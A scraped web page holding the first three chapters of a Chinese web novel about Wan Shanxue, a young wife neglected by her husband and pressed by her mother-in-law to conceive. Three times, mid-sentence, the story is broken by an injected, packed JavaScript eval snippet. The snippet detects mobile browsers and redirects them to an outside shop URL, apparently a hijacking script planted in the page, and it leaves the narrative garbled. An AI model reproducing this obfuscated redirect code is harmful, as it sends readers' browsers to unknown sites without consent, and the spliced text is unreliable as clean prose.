《守活寡三年，她掀桌了》 1. 第 1 章 小暑大暑，上蒸下煮。正是一年中最热之际，闲着不动亦是一身的汗水淋漓。廊下偶然吹来一阵烫人的小风儿，吹得人头脑发胀，昏昏欲睡。 万山雪捧着卷册，虽然不困，却是一个字也入不了眼。外面蝉鸣阵阵，聒噪得人头疼。五脏六腑似乎憋着一团上蹿下跳的火，口干舌燥，旁边摆着丫鬟切好的水果，只是连手都懒得伸一下。 她长叹一声丢开账本，见盆子里的冰块尽消，正要开口唤人，忽见帘栊挑起，丫鬟橘霜带着一丝惊喜说道：“奶奶，二爷回来了。” 话音落下，伴着一阵熏人的酒气，崔明之大步进来了，脸上带着不悦之色。 不问便知，定然是被婆母催促着来的。 万山雪连忙打起精神，走上前去接过他手里的折扇，曼声说道：“怎地喝了这么多酒？二爷先坐会儿，我叫她们打了水来，好歹擦洗一番再睡下，身子也爽利些。” 崔明之将鞋子一蹬，带着衣服便滚到床上去：“我若不来，你便时时去母亲跟前哭眼抹泪。我来了，你又拿乔作势这这那那的，真真先人说的不错，女子难养。” 万山雪性子喜洁，床铺总是收拾得一根头发丝儿也没有，若换旁人如此，定是不许。可谁让他是崔明之呢？ 她只好不再言语，怅然立了许久，想要再跟他说两句话。几个字在舌尖翻了两个滚，还没来得及说出口，见他鼾声大作，只得重新拿起账册，在床边坐下来。 红璎在外面探头看了一下，见崔明之睡得熟透，便小心翼翼走进来，轻声说道：“姑娘怎地不歪一会儿？这么热的天儿枯坐着，白白熬坏了精神。” 万山雪往床上瞥了一眼，连忙摇了摇手示意她不许说话，走到外间才责备道：“你又忘了，二爷最不喜欢你们唤我‘姑娘’，成亲三年了还改不过来，仔细听见又甩脸子了。” 红璎噘着嘴：“那能怪谁？虽说嫁了人，姑娘一点儿……” 橘霜伸手捂住红璎的嘴：“你瞧，奶奶不让你说，你愈发口无遮拦。” 万山雪苦笑一声，说道：“你去吩咐人给二爷煮一碗麦冬芦根水，最是祛暑解热的。这么大热的天儿，中暑了不是闹着玩的。” 红璎不情不愿道：“那奶奶也歪着歇一会儿。” 万山雪点头答应了，见红璎慢吞吞地往廊下走，没奈何地摇摇头，回身拿了把扇子，坐在床边，有一下没一下地摇着。 今日早膳时，婆母随口问了几个生意上人情往来的问题，崔明之的姨表妹子乌思羽答得头头是道，她却哑口无言，只能在一旁干坐着。连一旁的下人脸上都有遮不住的鄙夷，更不用看婆母的脸色了。 再回想起做姑娘时，乳母春草逼着她早起，跟夫子读书，而她却仗着继母的维护耍赖不起的情形，不觉悔恨交加，恨不能穿回去给当初的自己两巴掌。 再……再好好跟乳母道个歉。 崔明之这一觉好睡，万山雪见桌上汤羹温凉，才柔声唤他起来。崔明之不耐烦地翻个身，一挥手打落了她手里拿着的卷册，掉在地上这才将他惊醒。 他坐起身来一边吩咐丫鬟准备水沐浴，一面瞥了一眼万山雪，奚笑道：“哟，怎地突然知道发奋用功了？识得上面的字么？” 万山雪一噎，她虽算不上什么名门闺秀，可也是诗书传家。 父亲万有善如今是金相国府的主簿。先皇一生励精图治，晚年时却重病缠身，少主年幼，觊觎皇权的权臣蠢蠢欲动，金相国护着幼主，极力周旋，最终不负先皇托付，稳住了江山，说一句功高盖世也不为过。万有善官职虽然不高，可是“宰相门前七品官”，连那对石狮子都比别处的格外尊贵，何况是人呢？ 而崔家虽然财力丰厚，担着皇商之名，到底只是个商人。说句刻薄的，以万家如今的势头，倘若今时今日她来择婿，崔府连做选项的机会都未必有。 他可以说她看不懂账册，怎么能刻薄至此，说她不识字呢？ 万山雪不用照镜子，也知道面色有多苍白，她的指尖冰冷冰冷的，蜷起又伸开，勉强笑道：“二爷说得我还能成个人么，家里从前虽然光景一般，爹爹也为我们延请了夫子，难不成我连个字也……” 一语未了，崔明之冷笑一声，径直走进浴室去了，留下她站在原地，尴尬得手足无措，泪水便再也忍不住，汪在了眼眶里。 其实往日更难听的话也不是没有说过，只是不知为何，仿佛直到今日才真正听懂了他话里的轻视，格外刺心。 红璎与橘霜都是她带来的陪嫁丫头，自小跟着长大的，虽为主仆情同手足，听到自家姑娘被姑爷这般轻视，早就气得浑身颤抖。 橘霜是个沉稳的性子，见红璎气得咬牙切齿，生怕她说出什么犯上的话来，连忙使劲将她搂了搂，又进屋里扶着万山雪坐下，斟了一碗茶递至唇边，轻声说道：“二爷喝醉了酒，说几句过头的话，奶奶何必放在心上？喝了茶润润嗓子，歪着略睡一会儿罢。” 万山雪的眼泪一颗一颗坠落到茶盏里，激起一圈圈的涟漪，橘霜也红了眼圈，声音带着哽咽：“奶奶……” 却是一个字儿也说不出来。 浴室里的水声止住，崔明之不要丫鬟近身侍奉，亦不喜万山雪靠近，小厮牧笛服侍着他走了出来。 万山雪连忙拭去眼泪，拿着帕子替丈夫绞干头发。 这时窗外忽听一声娇笑：“哟，可是我来得不巧了。” 正是表小姐乌思羽，红璎生硬说道：“二爷才刚沐浴，表姑娘请到外间等会儿。” 说话时崔明之已经起身问道：“表妹可有要紧事？请进来吧。” 乌思羽穿着藕粉色的衣衫，愈发显得身姿窈窕，她笑意盈盈，手里摇着一柄画着合欢花的扇子，款款踏进门来：“表哥这话是骂我呢，全京城只怕找不到比我更闲的人了，天天赖在姨母这里，除了吃就是玩，能有什么正经事？” 乌思羽的声音极好听，宛转悠扬，如初出巢穴的乳燕撩拨人心。生得乌发皓齿，桃腮杏脸，一双水汪汪的眼睛瞥过崔明之，半是娇羞半是大胆，便是同为女子，万山雪也不得不承认，乌思羽的的确确算得上难得一见的绝色女子。 不光容颜好，同为经商之家出身的她，因父母观念开明，常常四处游玩，见多识广，无论提起什么话题，她都能说得头头是道，崔明之向来喜爱与她谈天说地。 万山雪亦强笑着与乌思羽寒暄。 这时崔母尤夫人身旁的大丫鬟玲珑也来了，一打帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756644|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子就笑道：“表姑娘叫我好找，兜了一个大圈子，原来在二奶奶这儿。” 崔明之笑道：“你才是个无事不登三宝殿的人，此来必有所谓。” “太太说，乌姑娘来这半个月了，整日忙得丢了扫帚拿起耙儿，心里惦记着要给姑娘做几身时兴的衣服，再添几样首饰，只是挪不开空。今日听大掌柜说起，京城新开了两家首饰坊，可以现画现做的，特特地将人请了来，就在前院儿等着，请姑娘快去呢！奶奶也有好些日子没出去逛了，不妨一道去看看，若有中意的样式，还怕二爷不舍得么？” 最后这两句明显是玲珑怕万山雪下不来台，临时添上去的话。可若是真怕她心里难受，就该扯个幌子将乌思羽叫出去说这事儿。既当着她说了，摆明了就是要看笑话的。 乌思羽脸上有些不自在，摇着万山雪的手，眼睛却望着崔明之道：“嫂子不跟我一起，我是不去的。二哥哥，你得哄嫂子一起。” 崔明之拿脚就往外走，一壁笑道：“我是没工夫陪你们闲闹的，走了。” 他甚至没顺着玲珑劝一句让万山雪也去，她的心又往下坠了几分，摇摇头强笑道：“我上个月才添的簇新簇新的镯子，又白花钱做什么？妹妹快去吧，别让人家等久了。” 崔明之才走出门，又回身笑道：“得了，思羽，快到前面去吧，又来一个请你的。” 只听廊下有个小丫头脆生生说道：“二爷，表姑娘在这里么？” 玲珑拉着乌思羽就走：“待会儿太太要骂我做事不力了，请个人也请不动的。” 乌思羽冲着万山雪歉意一笑，还要说话时，已经被两个丫鬟连拉带笑拖了出去。 红璎气得鼻孔呼哧呼哧的，脸颊通红：“真不害臊，也有未婚姑娘往嫂子房里闯的道理，活打了脸了！爹生娘养的，天天赖在亲戚这儿算怎么回事？” 橘霜饶是好性儿，也十分不满说道：“是啊，红璎都说了二爷在沐浴，还往里走，真让人膈应。” 万山雪疲惫一笑：“你们都先出去吧，我歇会儿。” 红璎还要说什么，橘霜使了个眼色，将门掩上。 万山雪慢慢坐下来，看着镜子里的人儿。正值韶华，肤色细腻白皙透着微微的红色，若论身姿容颜，她虽然比不得乌思羽妩媚，却胜在端庄清丽。只是乌思羽眼神里流露出来的奕奕神采，在她这儿只有挡也挡不住的疲倦。 十九岁，人生才开了头，花朵一般的年纪，竟隐隐有了槁木死灰的势头。 想到方才崔明之对她何等厌弃鄙夷，对乌思羽又是那样的彬彬有礼，温声细语，她心头一酸，眼泪止也止不住地滚落下来。喉头酸涩得厉害，泪水将一屋子锦绣都氤氲成模糊的虚像。 她握着手帕紧紧掩住唇，不愿意让别人听了去，可是肩膀剧烈的颤抖却将她纷乱的心情尽数倾泻。 与崔明之成婚三年以来的一幕幕不断浮现在眼前，当初满心欢喜待嫁的少女，跨进门后他日复一日冷淡的模样，还有婆母咄咄逼人的询问，下人们猜疑的眼神，一碗一碗苦咧咧的坐胎药，一夜一夜独守空枕自我怀疑…… 她终于抑制不住，扑在被子里哭出声来，呜呜咽咽之声，透过还留着他气味的薄衾散了出来。 2. 回不去的娘家 不知哭了多久，迷迷糊糊睡了一程子，忽然觉得有人不住地撼摇她的身子，她睁开眼睛慢慢侧转过来。 来人瞧见她的模样也是吃了一惊：“奶奶这是怎么了？哪里不舒服？” 是珊瑚，与玲珑一样，都是尤氏身边的大丫鬟。 万山雪慢慢坐起身来，说道：“方才做了噩梦，正挣扎着醒不过来，幸而你来了。” 珊瑚接过橘霜递过来的帕子帮她擦汗，又斟了一杯茶递过来，眼里闪过一丝不忍，轻声道：“梦由心起，到底是奶奶清醒时想东想西思虑太多所致，宽宽心就好了。” 万山雪点点头笑道：“你这时候怎么来了，是太太吩咐你来的？” 珊瑚拿着扇子帮她扇了一会儿，才轻声慢语说道：“太太的心思，不用说奶奶也知道的。一来抱孙心切，大爷走得早，只有二爷一个独苗，满心满意只盼着人丁兴旺。二来，太太也是希望有了孩子，二爷能够更恋家一些。太太心里是很疼奶奶的……” 万山雪沉默了一会儿问道：“又请大夫了？这回是哪儿的？” “是太太托晋陵娘家的人推荐的，舅老爷派人专程将老大夫送了来的。奶奶不妨……” 珊瑚话未说完，万山雪便腾地站起身来：“我洗漱一把就过去。” 她方才哭出一身汗，让丫鬟们备了水简单冲洗一下，衣衫尽褪的一刹那，她忽然想起大婚那一夜。 龙凤花烛高照，众人渐渐散去，只有她独坐于满室流光溢彩的喜庆里。 鸾服褪去，换做了一身烟霞般明艳浓烈的寝衣，万山雪的五官本就端庄大气，衬着这身衣服更好似含露微绽的芍药。 直等到三更天，崔明之才醉醺醺地进了房门。 成亲的喜悦与羞怯冲淡了困倦，她双颊绯红，轻唤一声夫君，微微别过头去，静等他的怜爱。 他修长的手指从她乌黑的长发掠过，在白皙的脖颈处略作停留，而后一路向下，剥去衣衫。 她低声呢喃，几乎要醉倒在他的怀里，乍听一声从鼻子里喷出来的轻笑，满腔沸腾的柔情登时冷却，她倏地抬头看去。 对上的，是一双清清冷冷不带丝毫温情的眼眸。 他环抱着手臂，上上下下打量着不着寸缕的她，从头到脚，从脚到头，如同审视一只买回来的不甚满意的花瓶。细长的眸子里，漫上来的都是遮不住的不屑轻慢。 之后，就如今日午间，他撇开她不顾，径直睡下，不多会儿就睡得熟透，留下她一个人抱着身子不知所措，瑟瑟发抖。 十六岁的新娘，不知道自己究竟做错了什么，惹来夫君如此嫌弃。 自那一夜之后，便陷入一日甚过一日的自我怀疑里。婆母又在为人处世、见识上处处打压挑刺儿，她愈发自觉卑劣不堪。婚前那个明艳张扬的万山雪，背着崔家二奶奶的头衔，渐渐低到了尘埃里去。 听到橘霜唤红璎取衣服来，她才恍然回过神来。十六岁到十九岁，她居然已生生熬过了三年。 踏过门槛向外走去，她怔怔地想：人生满打满算不过百年光景，十九岁到九十九岁，都要这样过么？ 大热的天儿，她激灵灵打了个寒战。 跨进婆母屋里，一眼便看见了那位穿着朴素的老大夫。 尤氏正与老大夫说笑，一见她便转喜为怒：“幸而咱们只是个小门小户的人家，从你院里到我这儿不过几步路而已，请你来都能墨迹半个时辰。我现下能踢腾得动，又是为着你的事儿，请一趟都这么难，明儿我老了指靠着你们时，还不定如何呢！” 婆母早年寡居，大儿去世又早，一个妇道人家带着儿子过活，养成了一副说一不二的脾气。这三年万山雪多有领教，辩解是万万不能的，只要垂手听着便是。 尤氏撒了火，又换了一副声气对大夫说道：“我们家里的境况，您老是知道的。大儿凋零得早，好容易拉扯得小儿子娶亲，想着终于能够含饴弄孙了，谁知偏偏不能遂愿。唉，真急得我没有法子，惹得一圈儿至亲也跟着操心。幸而老天眷顾，把您给盼来了，不论什么药物，只要得治，您尽管放手开药方。” 夏大夫乐呵呵一笑说道：“太太莫要心急。二爷与奶奶年纪轻轻的人儿，或早或晚罢了，且号了脉再说。” 橘霜连忙取了一方丝帕搭在万山雪腕上，尤氏啐道：“自家长辈跟前，也用得着这样多事……” 玲珑打起帘子正要说话，一见此形连忙退回去，尤氏便起身往外间来。 万山雪不错眼珠地盯着夏大夫，心下冷笑，倒要看看，看这位老神医要如何治疗自己的“病”。 猝不及防撞上那双历经风霜的眼眸，里面竟全是洞察一切之后的了然与悲悯，她只觉得心被狠狠揪了一下，眼泪便汪了出来。 他什么也没有说，只是微微叹了口气。 尤氏匆匆返回，见诊脉完毕，便急切走上前来想要问询。夏大夫摆摆手笑道：“二奶奶身子康健，子嗣不过是需要机缘，万万急不得的。依我看来，无须服药，只须放宽心即可。” 尤氏有些着急：“那怎么行？调理调理终究是错不了的，您就给她开些强身健体的药也行……” “太太啊，咱们是自己人，我就有话直说了。是药三分毒，好端端的人，补药灌下去不仅无益，反而会给内脏增加负担。二奶奶只须开阔心情，佳音自然徐徐而至。” 夏大夫说着回身告辞，连诊金一并推脱：“委实不敢当，尤老爷已经给过重金酬谢，来往所费皆不消老朽操心，太太若是信我，只令二爷闲暇时多陪陪二奶奶即可，心情舒畅，则万事如意。” 这话说得很直白了。 万山雪瞥见婆母的脸霎时间变了几个颜色。三年来，这是第一次有大夫直面而恳切地说她没有问题无须服药的。她忍了又忍，才将眼泪憋回去。 送走夏大夫，尤氏一言不发走到桌边，喝了一盏茶才徐徐说道：“做妻子的留不住丈夫的心也罢了，连回房都要我这个做娘的人催促。倘若明之是那等浮浪子弟，自然有我打的骂的，为你主持公道。可他在外面从不胡来，洁身自好，众人有目共睹，你让我怎么说？你整日用心梳妆打扮自然是好，只是也要在温柔小意上下下功夫，动不动就一包眼泪给谁看？” 有那么一瞬，万山雪几乎忍不住要说出那个难堪的事实来，可是想到崔明之的眼神还是生生咽了回去。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756645|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来又如何，兜兜转转，所有人还会认定是她的错，是她吸引不了她的夫君。 委屈、不甘、耻辱与痛苦如同汹涌澎拜的暗流，一波一波冲击着她的心口，她却什么也不能说，只是温顺地颔首答应。 “玲珑，嘱咐下去，继续按程老太医的方子给二奶奶服药。”尤氏丢下这一句，再没多看万山雪一眼，径直走了。 橘霜扶着万山雪走到廊下，正瞧见崔明之与乌思羽相对立于庭中，一位是英气逼人，一位是巧笑倩兮。 不知崔明之说了什么，乌思羽笑弯了腰，崔明之神色柔和地看着她，嘴角亦噙着一抹笑意。 这样的崔明之，只有大婚前她悄悄见过几次。 罢了罢了，是她不配。 万山雪惨然一笑，带着橘霜从回廊里走了。 坐胎药被送来了，万山雪第一次没有当着丫鬟的面乖乖喝下去，她冷淡而坚定地说：“且放着吧。” 玲珑似乎料不到她会如此，撑满了笑脸正要劝时，万山雪忽地冷了脸：“怎么？我方才的话没说清楚？” 玲珑诺诺退下。 她推开后窗，利索地将那碗药泼了出去，落在草叶上，惊起一阵虫鸣。 大约是心烦意乱的缘故，缩回手时，不小心碰在窗棂上，碗翻了个过儿，掉在地上摔成了碎片。她穿着大口薄缎鞋，有一片砸在脚背上，划出一道血痕，却一点儿不觉得疼。 橘霜听到动静进来收拾，瞥见她脚上的伤口，连忙扶着坐下来，细细清理。想要劝什么，终究是无话可说，欲言又止。 “橘霜，你去派人给家里传个话，就说我连日来身子不爽快，想要回家住些日子，请爹爹明日派人来接。” 橘霜正愁肠百结，不知如何安慰主子，一听此话倒如同乌云里泄下几缕阳光，眉开眼笑道：“正是，奶奶回去疏散疏散心情也好。我这就去找刘嬷嬷。只是……奶奶，咱们得先回禀太太吧？” “不必，直接让刘嬷嬷去传话就好。” 刘嬷嬷是陪嫁过来的家人，相比崔府的人，自然更信得过。 晚膳时分忽地起了狂风，满院花草树木被狂风吹得左摇右摆，发出齐刷刷的响声，一道道刺眼的闪电划破夜空，伴随着一声声震耳欲聋的雷鸣。 万山雪从前最怕雷雨天，这会子却固执地站在廊下，仰头看着摇摇欲坠的灯笼。豆大的雨点劈里啪啦落了下来，激起一阵泥土的腥味儿。又是一阵狂风卷着雨滴袭来，逼得她不得不向后退了一步。 雨点很快就连成了一条条密集的粗线，鞭子一般没头没脑地甩下来，院子里的青石板霎时就被淹没，水花四溅。有几只雀儿被惊得扑棱着翅膀，躲在角落里啾啾鸣叫。 万山雪很想不顾一切地冲进大雨里，再一路冲出崔家大院，冲到外面的自由天地里，哪怕雷霆万钧，哪怕暴雨如注，都不要紧。 一直站到天色黑透，忽听红璎惊喜地喊出声：“是刘嬷嬷！” 她不顾暴雨，撑着伞冲下去接迎淋成了落汤鸡的刘嬷嬷。 万山雪急切问道：“爹爹怎么说？” 刘嬷嬷抹了一把脸上的雨水，支支吾吾说道：“夫人说，不方便。” 3. 你给我个孩子 “并没见到老爷夫人的面。这是夫人身边的秋禾传的话。说如今二公子正在全力准备秋闱，老爷夫人早就吩咐了府里一概要清净，大事小事能免则免。连给二姑娘提亲的来了，都不敢大喘气儿，更不要说……” 更不要说，出嫁了的姑娘无事无非想要回娘家这等小事。 万山雪淡淡笑了一声：“继续说下去。” 刘嬷嬷起初还吞吞吐吐，见万山雪神色不似平日随和，知道不好扯谎，索性一口气全都说出来：“秋禾还说，过日子哪有碟子碗儿不磕着碰着的，叫二奶奶耐着性子，别像在娘家那般任性。若是想要吃的玩的用的都使得，奶奶列了单子，夫人随后叫人送来就是。只是这会子不为什么，突然回娘家，一来怕亲家太太误会，再者也恐旁人猜测议论。原是奶奶一时兴起，惹出许多是非来，倒是不便。” 夏日的雨来得快去得也快，方才轰轰烈烈的大雨像是一场梦，只剩下屋檐上的流水泠泠作响，万山雪不知不觉退了两步，一串水珠恰好落入脖颈，直凉到心里去。 不知过了多久，她才听见自己凉凉问道：“爹爹有没有什么话？” “秋禾传老爷的话说，姑爷是当初奶奶亲自选定的如意夫婿，让奶奶不要……没事找事，惹了姑爷不快活。老爷还说，”刘嬷嬷的声音低了下来，“成婚三年无所出已经很对不起崔家了，凡事要更勤勉小心才是，勿要让人拿了错处。” 说完，连连打了两个喷嚏。 刘嬷嬷的衣服湿得透透的，夏日虽然不冷，贴在身上也是难受得紧，急着回了话就想要回房去换掉的，见万山雪只是发怔，便赔笑道：“奶奶若是无事，我先回去换身衣服。” 万山雪微微颔首，刘嬷嬷便一溜烟儿往下人房去了。 她觉得乏透了，浑身的筋骨似乎都被轰隆隆的雷声抽走了，软塌塌地坐在廊下的圈椅里，静静地看着院里崭露头角的小荷，一言不发。 当初出嫁时，继母可不是这样说的。 她当着所有亲友的面，哭得难舍难分，执着万山雪的手对前来接亲的崔明之道：“我的儿，自打进了这个家，人人说我偏疼她。她是我的外甥女，又因缘成了我的女儿，如今说一声出嫁，真比剜我的心还痛。往后这就是你们的家，随时回来，我与爹爹日日盼着等着……” 说一声哭一声，情真意切，惹得许多妇人纷纷落泪，竟都是假的么？ 成亲之后，万山雪起初回去很频繁，后来因为婆母严厉，夫君不喜，回娘家次数渐渐稀少。算起来，除了元宵回去一趟，已经四五个月不曾见面联络了，得到的却是这样的回复。 过了许久她站起身来，红璎拦住她说：“奶奶要去哪儿？虽说雨停了，地上还是湿漉漉的，有什么吩咐我去就是。” “我去找刘嬷嬷问两句话。”万山雪驻足道，“是了，她方才冒雨而归多有辛苦，抓一把散钱给她打酒吃。”说完便径直往下走去。 慌得红璎抓了一把钱就小跑着跟上。 这会子正是饭点儿，因尤氏注重保养肠胃，晚间不食，万山雪不必去侍奉，下人们晚上也乐得吃一顿自在饭。这时候一整排下人房里黑魆魆的，唯有中间那间亮着灯。 红璎正要喊门，忽然听到里面传来说话声，万山雪示意她噤声。 说话的是当初与刘嬷嬷一同跟着来到崔家的江嬷嬷，只听她说道：“女孩儿家年轻不知世事，咱们生养过的人有什么看不透的？甭说先夫人和继夫人是嫡庶姊妹，隔了一层肚皮，就是一母同胞的姊妹，生儿育女，自己的还疼爱不过来，哪里有精力去疼对方的？那些年不过是做做样子罢了，只可怜这俩孩子幼年丧母，都当了真，把她当作亲娘那般依赖。” 刘嬷嬷叹道：“可不正是这话？偏又寻不出错来，人家只是一味地疼爱，一味袒护，硬生生将两个孩子娇纵得不成样子。我听他们说，大公子整日游手好闲，斗鸡走狗玩得满头都是鸡毛，老爷眼睛一瞪，还没呵斥一声，夫人早冲过去护在头里了。而二公子呢？读书稍有松懈，夫人就会下死手责打，你道延请的夫子是谁？曾得先皇钦点的状元郎！” “那可不少花钱，老爷对二儿子真舍得啊！二姑娘也到该说亲的年龄了吧？” “可不是，佳婿未定，夫人已经将二姑娘的嫁妆准备得色色齐备了。听说单是珠宝这一项，就用去了将近三千两银子，小门小户勤勤恳恳一年不吃不喝，能挣二十两都算烧高香。素日来教习琴棋书画的夫子不算，还另外请了宫嬷来教习礼仪。” “哟，这阵仗可比大姑娘出嫁时用心多了。可是大公子岁数也不小了，整日在家眼睁睁地看着弟弟这般用功，还能沉得住气，整日不务一点儿正事？” “嘁，”刘嬷嬷从鼻孔里出了一口气，“他要是能有这个横心，龙也下蛋了。转过年就是十八岁的人了，已经定了亲事，整日还只知吃喝玩乐。依我看呐，老爷如今根本就当没有这个儿子了，满心扑在二公子和二姑娘身上。” “唉，想想当年大夫人是何等聪慧果决，再看看她的孩子，当真叫人不好受……” “不好受又有什么法子？想想春草的下场。她是先夫人的陪嫁丫鬟，又是大姑娘的乳母，苦口婆心劝大姑娘好好儿读书识字学习持家之道，反而招来她疏远怨恨。” 刘嬷嬷的声音低了下去，“当初要许给崔家，春草多温和的一个人，敢跳起来跟老爷夫人对吵，奈何大姑娘只听继母的话，执意要嫁过来，谁也没法子。气得春草连亲生女儿红璎也不管了，剪了头发去当姑子。哎哟……不说闲话了，你帮我瞧瞧脖子后面这一块怎么回事，疼得厉害。” 万山雪赶来原就是想要追问一句弟弟近况的，不料竟听到这些话，登时如坠冰窟，半晌动弹不得。 红璎情知俩婆子虽然议论主子可恨，可是所言句句属实，且并不过分，自然发作不得，又恐别人瞧见这情形到尤氏面前弄嘴，便推了推万山雪轻声道：“奶奶别听这些混账话，咱们回去吧。” 万山雪明白她的用意，走过月亮门忽然顿住，轻轻笑了一声：“好大一盘棋，可恨我如今才知晓。” 那一年她三岁，弟弟万山毓才一岁半，母亲兰蘅重病不治，撒手西去。两个月后，父亲万有善便娶了兰蘅的庶妹兰芬进门，次年诞下一对龙凤胎，儿子万山锦，女儿万山绣。 那时候她虽小，却也常被祖母抱在膝头怜惜，说有了后娘便有了后爹，若兰芬没有子嗣还好，偏偏儿女双全，只怕往后俩孩子要受薄待了。旁人亦是明里暗里叹息。 没想到，兰芬竟是个痴心的，更加怜惜他们姐弟，真真是含在嘴里捧在手里，重话也从不曾说过一句，亲生的双生儿倒撇在一旁。 起先还有人说她装腔作势，可是年复一年日复一日，兰芬始终对两个孩子呵护备至。 别说万有善和府里上上下下赞不绝口，连万老太太也叹服不已。大限将至时，将兰芬叫到跟前，直说娶她进门是万家之幸，知道她不会薄待俩孩子，手头积攒尽数给了兰芬。 唯有兰蘅的陪嫁丫鬟兼万山雪的乳母春草十分不乐意，每每苦口婆心地管教万山雪和弟弟万山毓。只是她与弟弟都听不进去，更喜欢温柔可亲、对他们百依百顺的继母，反而与乳母疏远了。 好在兰蘅临终前留有遗言，万山雪和万山毓须以母礼敬春草。往后万府有一口饭吃，就有春草一口。万有善与兰蘅夫妻缘分虽然短，却很敬重这个妻子，故而纵然春草多次因为俩孩子以下犯上，却还是得到了包容。 后来，万山雪执意嫁给崔明之，兰芬满口答应，说姻缘之事，最要紧的就是心悦，喜欢比什么都要紧。而春草坚决不许。 春草说，她不了解崔氏母子，可她知道寡母拉扯独子的艰难，生活会逼着这样的女人刚硬严苛。虽然不敢说绝对，可是十之八九，会对儿媳妇高标准严要求，却对儿子娇纵放任。 而儿子自然心疼母亲守寡的不易，转头要求妻子事事处处予以孝顺。自家姑娘娇生惯养，嫁过去定然要吃苦，故而坚决拦阻，不惜以绝食抗议。 奈何万山雪心意已定，而兰芬又予以支持，这桩亲事到底是成了。 春草大闹一场无果后，留下女儿红璎，又挑选了忠厚的橘霜给万山雪做陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16756646|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫁丫鬟，在她出嫁前一日，剃了满头青丝，到青檀寺出家为尼。 人心都是肉长的，万山雪虽然从小惧怕乳母，却也知道她对自己的好，婚后再三去青檀寺求乳母回心转意，都不得见，终于作罢。 她思绪烦乱，念及乳母更是心如刀绞，脚下踩到一块松动的砖石，猛一歪栽倒在了地上。 红璎连忙去搀扶她，她却摇摇头，将脸埋在红璎肩头，带着哭腔说道：“红璎，你也很想娘吧？我们一起去看阿母好不好，我好想她。” 崔明之回到卧房时，万山雪脚脖上敷了厚厚的红花油，正倚靠着枕头怔怔出神。 他皱了皱鼻子，蹙眉问道：“昨儿去母亲那儿哭诉近来常做噩梦，要我回房。今儿个是扭伤了脚，明儿又是什么把戏？你家祖上也不是搭台子唱大戏的，怎么一出连着一出不消停呢？” 万山雪早就听到橘霜和红璎嘁嘁嚓嚓地商量，要将她扭伤脚之事告诉崔明之，好让他这个做夫君的来关心关心妻子。她原本想出声阻拦的，奈何心境太糟，实在疲于开口，便没有作声。 不料崔明之竟以为她是故意伤了自己，来博取他的关注，她怒极反笑。 见她不作声，崔明之扭头就往外走。 “等一下。” 万山雪将要说的话在心里翻来覆去打了无数遍草稿，好容易鼓足了勇气，一对上那双冷冰冰的眸子，又觉得底下的字都有千斤重似的，压得舌尖翻不了过，怎么也说不出来。 崔明之微微眯了眼睛：“怎么？戏还没完？” 这一句就够了。 万山雪坐起身来，仰脸看着他，未语泪先流，哽咽道：“崔明之，看在咱们成亲三年的份上，请你明明白白告诉我，我究竟哪里做得不好？你为什么……为什么不肯与我同房？” 崔明之方才不耐的神色淡去，走近前来微微俯身看着她，问道：“你说什么？我没听清楚。” 还是那个眼神，似笑非笑，与大婚之夜一模一样。 万山雪忍不住浑身颤抖，两只手死死地攥在一起，将嘴唇都咬破了，滴出血来也没有察觉，逼着自己一字一句说道：“崔明之，咱们做个交易吧。你给我个孩子，我给你自由。” “凭什么？” 冷冷的三个字，堵住了她准备好的所有倾诉。 沉默片刻后，她如同被逼到绝境的小兽，不顾脚上的疼痛，下了地，直直地站在他面前，压在心底三年的不满与绝望终于彻底爆发。 “凭什么？就凭我是你的妻子，就凭你三书六礼娶我进门，你不该这样对我不管不问，连个陌生人也不如。这三年没有孩子，不是我的过错，压力却是我一个人承受的，一碗一碗的坐胎药，而你却可以置身事外，好像这件事与你毫无关系。我到底有多冤，崔明之，你比任何人都清楚！” 她越说声音越大，泪水在眼里打转，却倔强得不肯落下，呼吸急促而紊乱，声音嘶哑。 “你确定，是我要娶你进门的？” 崔明之呵呵一笑，带着无尽的嘲弄。 他施施然坐下来，翘起二郎腿，端起茶盏不疾不徐喝了一口，才缓缓说道，“万山雪，你别忘了，当初是谁哭着闹着要嫁给我的，甚至连乳母绝食都可以弃之不顾，可真是用情至深啊！你乳母气得落发为尼，至今还孤身在寺里呢，你就忘了当初要死要活非我不嫁的情形了？” 崔明之的薄唇一张一合，如同杀人不见血的刽子手，一刀一刀专拣她心尖处捅。 万山雪紧紧攥着帐杆，整个人摇摇欲坠。 “是，就算当初是我情愿的，你就是被逼的么？一件接一件首饰礼物，一封一封的书信往我家里送，我才渐渐动了心的，便是娶亲，不也是你欢欢喜喜去迎我进门的么？” 